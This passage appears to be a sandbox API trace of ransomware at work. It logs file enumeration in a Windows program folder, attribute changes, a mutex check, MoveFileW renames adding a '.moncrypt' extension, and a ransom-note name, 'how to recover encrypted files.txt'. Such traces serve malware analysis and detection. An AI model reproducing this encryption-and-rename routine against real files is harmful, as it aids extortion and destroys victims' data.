out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png", cchWideChar=88, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.pngi", lpUsedDefaultChar=0x0) returned 88 [0058.241] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\NavigationRight_SelectionSubpicture.pngi", lpUsedDefaultChar=0x0) returned 4 [0058.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.241] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.241] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.241] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.241] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.242] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0058.242] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.242] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.242] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.242] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.242] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.242] GlobalUnlock (hMem=0x44000c) returned 0 [0058.242] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.242] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.242] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.242] GlobalUnlock (hMem=0x44000c) returned 0 [0058.242] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.242] GlobalUnlock (hMem=0x440004) returned 0 [0058.242] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.242] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0058.242] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.242] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png", cchWideChar=79, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 79 [0058.243] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.244] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.244] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.244] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.244] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.244] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0058.245] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.245] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.245] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.245] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.245] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.245] GlobalUnlock (hMem=0x440004) returned 0 [0058.245] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.245] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.245] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.245] GlobalUnlock (hMem=0x440004) returned 0 [0058.245] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.245] GlobalUnlock (hMem=0x44000c) returned 0 [0058.245] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.245] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0058.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, 